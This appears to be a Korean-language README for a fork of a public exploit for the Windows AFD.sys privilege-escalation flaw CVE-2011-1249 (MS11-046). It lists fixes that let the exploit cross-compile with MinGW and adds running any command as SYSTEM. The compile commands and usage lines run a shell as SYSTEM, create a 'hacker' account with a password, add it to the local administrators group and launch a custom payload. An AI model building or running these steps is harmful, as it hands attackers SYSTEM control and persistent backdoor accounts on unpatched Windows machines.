
CVE-2011-1249 (MS11-046) AFD 권한 상승 — MinGW 크로스 컴파일 수정 + 사용자 정의 명령 지원
CVE-2011-1249 / MS11-046 — Windows x86용 AFD.sys 권한 상승.
Tomislav Paskalev의 원본 익스플로잇(EDB-40564). 이 포크는 MinGW 크로스 컴파일 오류를 수정하고 argv[1]을 통한 사용자 명령 실행을 추가합니다.
| # | 변경 사항 | 이유 |
|---|---|---|
| 1 | FARPROC ZwQuerySystemInformation → 타입 함수 포인터 (pZwQuerySystemInformation) | MinGW의 엄격한 타입 검사는 인수가 있는 0-매개변수 FARPROC 호출을 거부합니다 — 컴파일 실패: too many arguments to function |
| 2 | securityPatches[] 배열을 static으로 표시 | if/else 블록 내부에 선언된 배열은 스택에 할당되어 범위를 벗어납니다. static이 없으면 포인터가 댕글링됩니다. |
| 3 | argv[1]을 통한 사용자 명령 | 하드코딩된 cmd.exe 대신 SYSTEM으로 모든 명령 실행 |
MinGW로 원본 컴파일 시 실패:
ms11-046.c: error: too many arguments to function 'ZwQuerySystemInformation'; expected 0, have 4
FARPROC는 0개의 매개변수로 선언된 제네릭 함수 포인터입니다. MinGW는 엄격한 타입 검사를 적용하여 인수를 사용한 호출을 거부합니다. 수정 방법은 올바른 서명을 가진 타입 함수 포인터를 사용하는 것입니다.
사전 컴파일된 바이너리가 존재하지만(예: SecWiki/windows-kernel-exploits) 사용자 명령을 지원하지 않습니다.
sudo apt install mingw-w64
i686-w64-mingw32-gcc ms11-046.c -o ms11-046.exe -lws2_32
ms11-046.exe # 기본: SYSTEM으로 cmd.exe 실행
ms11-046.exe "net user hacker Pass123! /add" # SYSTEM으로 사용자 추가
ms11-046.exe "net localgroup administrators hacker /add" # 로컬 관리자에 추가
ms11-046.exe "c:\windows\temp\shell.exe" # SYSTEM으로 사용자 정의 페이로드 실행